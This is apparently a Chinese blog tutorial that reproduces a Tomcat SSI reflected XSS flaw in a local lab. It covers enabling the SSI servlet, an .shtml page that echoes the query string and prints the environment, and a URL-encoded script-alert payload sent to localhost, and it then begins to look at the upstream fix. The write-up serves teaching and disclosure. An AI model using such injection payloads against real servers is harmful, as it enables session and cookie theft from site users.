
文章插图
Tomcat是一个开源的轻量级Web应用服务器 , 在我们平常工作过程中接触得非常多 。代码也非常经典 , 很多人为了提升自己的技术也会去阅读学习Tomcat的源码 。但正如著名诗人李白所说的:世界上本没有漏洞 , 使用的人多了 , 也就发现了漏洞 。比如今年的2月份就爆出了存在文件包含漏洞 。
今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程 , 以及漏洞为什么会产生 , Tomcat大神们又是如何应对的 。
【攻击一:XSS攻击】一、SSI技术说明首先演示的漏洞和Tomcat的SSI功能有关 , SSI是什么
SSI技术 , 也叫作Serve Side Includes , SSI(服务器端包含)是放置在html页面中的指令 , 并在服务页面时在服务器上对其进行评估 。它们使您可以将动态生成的内容添加到现有的HTML页面 , 而不必通过CGI程序或其他动态技术来提供整个页面 。使用SSI技术文件默认的后缀名为.shtml;举例:我们可以将指令放置到现有的HTML页面中 , 例如:
!--#echo var="DATE_LOCAL" -->当该页面被执行时 , 将会显示如下结果Sunday, 22-March-2020 18:28:54 GMTSSI最常见的用途之一:输出CGI程序的结果 , 例如``命中计数器'' 。关于该技术更为详细的说明参见:http://httpd.Apache.org/docs/current/howto/ssi.html二、为Tomcat开启SSI
- 准备好JRE、tomcat环境 , 我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
- 修改conf/context.xml第19行 , 开启权限
<Context privileged="true">- 修改confweb.xml , 开启SSI Servlet 。该段代码默认是被注释掉的 , 我们删除注释即可 , 代码在310-322行 。
<servlet><servlet-name>ssi</servlet-name><servlet-class>org.apache.catalina.ssi.SSIServlet</servlet-class><init-param><param-name>buffered</param-name><param-value>1</param-value></init-param><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>expires</param-name><param-value>666</param-value></init-param><init-param><param-name>isVirtualWebAppRelative</param-name><param-value>false</param-value></init-param><load-on-startup>4</load-on-startup></servlet>去掉关于ssi配置的注释 422-425行<servlet-mapping><servlet-name>ssi</servlet-name><url-pattern>*.shtml</url-pattern></servlet-mapping>- 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件 , 位于webapps/ROOT/ssi/
<html><head><title></title><body>Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>Env: <!--#printenv --></body></html>- 启动Tomcat即可
- 我们输入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
文章插图
2. XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E攻击成功 , 页面展示如下 。
文章插图
通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序 , 攻击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容 。
四、源码分析漏洞产生后 , Tomcat大神们迅速修复了该漏洞 , 我们从Github上找到当时的代码修复提交记录:点击查看commit

文章插图
说真的 , 当时看到这段修复代码我是惊呆了 , 这是什么骚操作!!!“entity”又是什么鬼!!!
推荐阅读
- 余光中经典情话有哪些?
- 空气炸锅:有人说鸡肋,有人说真香,我干脆自己买一个试试
- 买了5个枕头,终于找到最适合我的那个,顺便总结了一套选购攻略
- 其实,没有人真的过得很好
- 少和同事说自己的私事
- 直通车怎么测图测款 直通车测款点击率标准
- 成功人士具备哪些素质
- 售前转化率是什么 淘宝店铺转化率怎么算
- 勿忘我花茶最佳搭配,这些花茶真的可以祛斑
- 春季赏花也会遭“攻击” 预防需做好五件事情
